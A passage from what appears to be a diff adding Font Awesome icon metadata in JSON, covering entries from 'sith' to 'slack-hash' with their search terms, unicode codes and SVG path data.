56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "sith": { + "changes": [ + "5.0.12" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f512", + "label": "Sith", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861020, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z" + } + }, + "free": [ + "brands" + ] + }, + "skating": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "activity", + "figure skating", + "fitness", + "ice", + "person", + "winter" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7c5", + "label": "Skating", + "svg": { + "solid": { + "last_modified": 1628088635700, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z" + } + }, + "free": [ + "solid" + ] + }, + "sketch": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "app", + "design", + "interface" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7c6", + "label": "Sketch", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775914, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z" + } + }, + "free": [ + "brands" + ] + }, + "skiing": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "activity", + "downhill", + "fast", + "fitness", + "olympics", + "outdoors", + "person", + "seasonal", + "slalom" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7c9", + "label": "Skiing", + "svg": { + "solid": { + "last_modified": 1628088635701, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z" + } + }, + "free": [ + "solid" + ] + }, + "skiing-nordic": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "activity", + "cross country", + "fitness", + "outdoors", + "person", + "seasonal" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ca", + "label": "Skiing Nordic", + "svg": { + "solid": { + "last_modified": 1628088635701, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z" + } + }, + "free": [ + "solid" + ] + }, + "skull": { + "changes": [ + "5.0.13", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "bones", + "skeleton", + "x-ray", + "yorick" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f54c", + "label": "Skull", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635702, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z" + } + }, + "free": [ + "solid" + ] + }, + "skull-crossbones": { + "changes": [ + "5.4.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "alert", + "bones", + "d&d", + "danger", + "dead", + "deadly", + "death", + "dnd", + "fantasy", + "halloween", + "holiday", + "jolly-roger", + "pirate", + "poison", + "skeleton", + "warning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f714", + "label": "Skull & Crossbones", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635702, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z" + } + }, + "free": [ + "solid" + ] + }, + "skyatlas": { + "changes": [ + "4.3", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f216", + "label": "skyatlas", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861020, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z" + } + }, + "free": [ + "brands" + ] + }, + "skype": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f17e", + "label": "Skype", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861020, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z" + } + }, + "free": [ + "brands" + ] + }, + "slack": { + "changes": [ + "4.1", + "5.0.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anchor", + "hash", + "hashtag" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f198", + "label": "Slack Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722337, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z" + } + }, + "free": [ + "brands" + ] + }, + "slack-hash": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anchor", + "hash", + "hashtag" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f3ef", + "label": "Slack Hashtag", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633724, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 